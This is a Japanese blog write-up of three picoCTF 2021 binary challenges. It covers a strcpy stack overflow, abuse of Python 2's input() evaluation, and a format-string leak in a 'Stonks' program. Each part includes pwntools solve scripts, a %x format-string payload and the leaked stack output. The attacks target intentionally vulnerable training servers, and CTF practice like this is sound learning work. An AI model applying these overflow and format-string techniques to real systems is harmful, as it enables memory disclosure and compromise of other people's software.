2021年3月16日~3月30日(日本時間では3月17日~3月31日)に開催された中高生向けのCTF大会、picoCTFの[Binary]分野のwriteupです。
その他のジャンルについてはこちらを参照
Binary Gauntlet 0
This series of problems has to do with binary protections and how they affect exploiting a very simple program. How far can you make it in the gauntlet? gauntlet
nc mercury.picoctf.net 35363
gauntlet
ファイルが配布されます。
最初の問題だしガチャガチャして動作確認できるかと思ったけどいまいちわからなかったので、
ヒントを読んで binary protections
を確認してみた。
from pwn import * e = ELF('gauntlet')
実行結果
$ python solve.py [*] '/picoCTF2021/Binary/Binary Gauntlet 0/gauntlet' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x400000) RWX: Has RWX segments
ほとんど protect かかってない。
ghidraに突っ込んだ。
undefined8 main(void) { char local_88 [108]; __gid_t local_1c; FILE *local_18; char *local_10; local_10 = (char *)malloc(1000); local_18 = fopen("flag.txt","r"); if (local_18 == (FILE *)0x0) { puts( "Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are runningthis on the shell server." ); /* WARNING: Subroutine does not return */ exit(0); } fgets(flag,0x40,local_18); signal(0xb,sigsegv_handler); local_1c = getegid(); setresgid(local_1c,local_1c,local_1c); fgets(local_10,1000,stdin); local_10[999] = '\0'; printf(local_10); fflush(stdout); fgets(local_10,1000,stdin); local_10[999] = '\0'; strcpy(local_88,local_10); return 0; }
flagを読み込んで、そのあとbufferが1000
の領域にユーザー入力を読み込み。
strcpy
関数を最後に使っているのが怪しい。
strcpy() 関数は src が指す文字列を末尾のヌルバイト ('\0') も含めて dest が指すバッファーにコピーする。 strcpy() の受け側の文字列が十分な大きさでない場合、何が起こるかわからない。 固定長文字列を溢れさせるのは、マシンの制御を掌中に収めるために クラッカーが好んで使うテクニックである。
なるほど。最後はbuff size 108 の local_88
に、 local_10
を999文字コピーすることになっている。何もしなくてもbuffer overflowしてそうだ。
strcpyのとき(入力の2回目)に長い入力を入れてみる。
from pwn import * host = 'mercury.picoctf.net' port = 35363 r = remote(host, port) r.sendline(b'a'*(1)) print(r.recv()) r.sendline(b'a'*(108+32)) print(r.recv())
※32は適当。
実行結果
$ python solve.py [+] Opening connection to mercury.picoctf.net on port 35363: Done b'a\n' b'53bb653334bce9d372ed35e599e50015\n\n'
なんか取れた。
これをそのまま突っ込んだらフラグでした👍
What's your input?
We'd like to get your input on a couple things. Think you can answer my questions correctly? in.py
nc mercury.picoctf.net 60060
.
in.py
が配布されます。
#!/usr/bin/python2 -u import random cities = open("./city_names.txt").readlines() city = random.choice(cities).rstrip() year = 2018 print("What's your favorite number?") res = None while not res: try: res = input("Number? ") print("You said: {}".format(res)) except: res = None if res != year: print("Okay...") else: print("I agree!") print("What's the best city to visit?") res = None while not res: try: res = input("City? ") print("You said: {}".format(res)) except: res = None if res == city: print("I agree!") flag = open("./flag").read() print(flag) else: print("Thanks for your input!")
好きな数を聞かれ、これに対してはglobalで定義されている years = 2018
を答えればよさそう。
問題は次の City
。city_names.txt のなかからランダムで答えが決まるらしい。
こちらもガチャガチャと入力を試していたのだけど、0
,1
のような数値はそのまま受け取るけどabc
みたいな文字列は"abc"
と明示的にstringに指定してあげないとexcept
の方に捕まってるっぽい。
…ということは、変数そのまま書いたら通るのでは?
$ nc mercury.picoctf.net 60060 What's your favorite number? Number? 2018 You said: 2018 I agree! What's the best city to visit? City? city You said: Lakeland I agree! picoCTF{v4lua4bl3_1npu7_8440832}
やったー!
Stonks
I decided to try something noone else has before. I made a bot to automatically trade stonks for me using AI and machine learning. I wouldn't believe you if you told me it's unsecure! vuln.c
nc mercury.picoctf.net 59616
vuln.c
が配布されます。
#include <stdlib.h> #include <stdio.h> #include <string.h> #include <time.h> #define FLAG_BUFFER 128 #define MAX_SYM_LEN 4 typedef struct Stonks { int shares; char symbol[MAX_SYM_LEN + 1]; struct Stonks *next; } Stonk; typedef struct Portfolios { int money; Stonk *head; } Portfolio; int view_portfolio(Portfolio *p) { if (!p) { return 1; } printf("\nPortfolio as of "); fflush(stdout); system("date"); // TODO: implement this in C fflush(stdout); printf("\n\n"); Stonk *head = p->head; if (!head) { printf("You don't own any stonks!\n"); } while (head) { printf("%d shares of %s\n", head->shares, head->symbol); head = head->next; } return 0; } Stonk *pick_symbol_with_AI(int shares) { if (shares < 1) { return NULL; } Stonk *stonk = malloc(sizeof(Stonk)); stonk->shares = shares; int AI_symbol_len = (rand() % MAX_SYM_LEN) + 1; for (int i = 0; i <= MAX_SYM_LEN; i++) { if (i < AI_symbol_len) { stonk->symbol[i] = 'A' + (rand() % 26); } else { stonk->symbol[i] = '\0'; } } stonk->next = NULL; return stonk; } int buy_stonks(Portfolio *p) { if (!p) { return 1; } char api_buf[FLAG_BUFFER]; FILE *f = fopen("api","r"); if (!f) { printf("Flag file not found. Contact an admin.\n"); exit(1); } fgets(api_buf, FLAG_BUFFER, f); int money = p->money; int shares = 0; Stonk *temp = NULL; printf("Using patented AI algorithms to buy stonks\n"); while (money > 0) { shares = (rand() % money) + 1; temp = pick_symbol_with_AI(shares); temp->next = p->head; p->head = temp; money -= shares; } printf("Stonks chosen\n"); // TODO: Figure out how to read token from file, for now just ask char *user_buf = malloc(300 + 1); printf("What is your API token?\n"); scanf("%300s", user_buf); printf("Buying stonks with token:\n"); printf(user_buf); // TODO: Actually use key to interact with API view_portfolio(p); return 0; } Portfolio *initialize_portfolio() { Portfolio *p = malloc(sizeof(Portfolio)); p->money = (rand() % 2018) + 1; p->head = NULL; return p; } void free_portfolio(Portfolio *p) { Stonk *current = p->head; Stonk *next = NULL; while (current) { next = current->next; free(current); current = next; } free(p); } int main(int argc, char *argv[]) { setbuf(stdout, NULL); srand(time(NULL)); Portfolio *p = initialize_portfolio(); if (!p) { printf("Memory failure\n"); exit(1); } int resp = 0; printf("Welcome back to the trading app!\n\n"); printf("What would you like to do?\n"); printf("1) Buy some stonks!\n"); printf("2) View my portfolio\n"); scanf("%d", &resp); if (resp == 1) { buy_stonks(p); } else if (resp == 2) { view_portfolio(p); } free_portfolio(p); printf("Goodbye!\n"); exit(0); }
さすがAIが絡むだけあって ( •̅_•̅ ) ちょっと長い。あれか、stonksってstockをもじってるのか。株式売買的な。
接続して挙動を確認してみます。
$ nc mercury.picoctf.net 59616 Welcome back to the trading app! What would you like to do? 1) Buy some stonks! 2) View my portfolio
stonkを購入したり、自分の現在の状況が見れるプログラムの様子。
flagはapi
というファイルに描かれているようで、api_buf
に格納されます。これはstonkの購入で呼ばれる。
所持金の初期値は、1~2018の中でランダムに決まる。
shareは所持金の中のいくら払うかをランダムに決めてくれていて、pick_symbol_with_AI
で、買う銘柄symbol
(4文字以下のランダムなアルファベット)を決めてくれます。
この関数内でStonk
構造体をmallocし、返却しています。
その後の API tokenを聞かれる部分の処理
char *user_buf = malloc(300 + 1); printf("What is your API token?\n"); scanf("%300s", user_buf); printf("Buying stonks with token:\n"); printf(user_buf);
ここでわざわざ入力したuser_buff
を見せてくれるのが怪しい。
picoCTF 2018 [Binary] echooo と同じく、Format String Attackで解けそう。
format string attackで、api_buf
の値が読み込めれば良さそう。
問題は、過去問みたいに
AAAA%08x.%08x.%08x.%08x.%08x.%08x....
みたいな入力を送っても、全然 41414141
がでてこないこと。困った。
やけくそでメモリ全部吐いてもらったらflag formatが見えた!(hexからasciiへの変換が必要)
What is your API token? %x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x Buying stonks with token: 8fd63d0804b00080489c3f7ec4d80ffffffff18fd4160f7ed2110f7ec4dc708fd518018fd63b08fd63d06f6369707b465443306c5f49345f74356d5f6c6c306d5f795f79336e3834313634356562ff8d007df7effaf8f7ed2440dc82070010f7d61be9f7ed30c0f7ec45c0f7ec4000ff8d42c8f7d5258df7ec45c08048ecaff8d42d40f7ee6f09804b000f7ec4000f7ec4e20ff8d4308f7eecd50f7ec5890dc820700f7ec4000804b000ff8d43088048c868fd4160ff8d42f4ff8d43088048be9f7ec43fc0ff8d43bcff8d43b4118fd4160dc820700ff8d432000f7d07f21f7ec4000f7ec40000f7d07f211ff8d43b4ff8d43bcff8d434410f7ec4000f7ee770af7eff0000f7ec400000b503eba3f786db3000180486300f7eecd50f7ee7960804b00018048630
hex to bytes結果
.Ö=..°..H.?~ÄØ.ÿÿÿñ.Ô..~Ò..~ÄÜp.Õ...Ö;.ýcÐocip{FTC0l_I4_t5m_ll0m_y_y3n841645ebÿ..}÷ïúø÷í$@Ü....÷Ö.é÷í0À÷ìEÀ÷ì@.ÿ.BÈ÷Õ%.÷ìEÀ.Hì¯øÔ-@÷îo .K..~Ä..~Äâ.øÔ0.~ìÕ.~Å. È p.~Ä...°.ÿ.C..HÈhýA`ÿ.Bôÿ.C..H¾.~Ä?Àÿ.C¼ÿ.C´..Ô. È p.øÔ2..}.ò.~Ä..~Ä..÷Ð.!.øÔ;OøÔ;ÏøÔ4A.~Ä..~çp¯~ÿ..÷ì@..µ.ë£÷.Û0....0.~ìÕ.~ç...°....0
4文字ずつ逆さまに読んで、ついでに全体をコードに落として
from pwn import * import binascii host = 'mercury.picoctf.net' port = 59616 attack_msg = b'%x' * 150 r = remote(host, port) r.recvuntil(b'2) View my portfolio\n') r.sendline(b'1') r.recvuntil(b'What is your API token?\n') r.sendline(attack_msg) res = r.recvuntil(b'Portfolio as of')[30:200] encoded = binascii.unhexlify(res) for i in range(len(encoded)//4): for c in encoded[i*4:i*4+4][::-1]: try: print(chr(c), end='') except: continue
実行結果
$ python solve.py [+] Opening connection to mercury.picoctf.net on port 59616: Done °\x09H\x00Øx\x7f?ÿÿÿ\x0f\x16,ñ\x11\x7f\x0fÜx\x7f\x0f\x18-p7.ãpicoCTF{I_l05t_4ll_my_m0n3y_6148be54}\x00ßÿø:û÷
ちょっと汚いけどflag取れたのでヨシ(๑•̀ㅂ•́)و✧。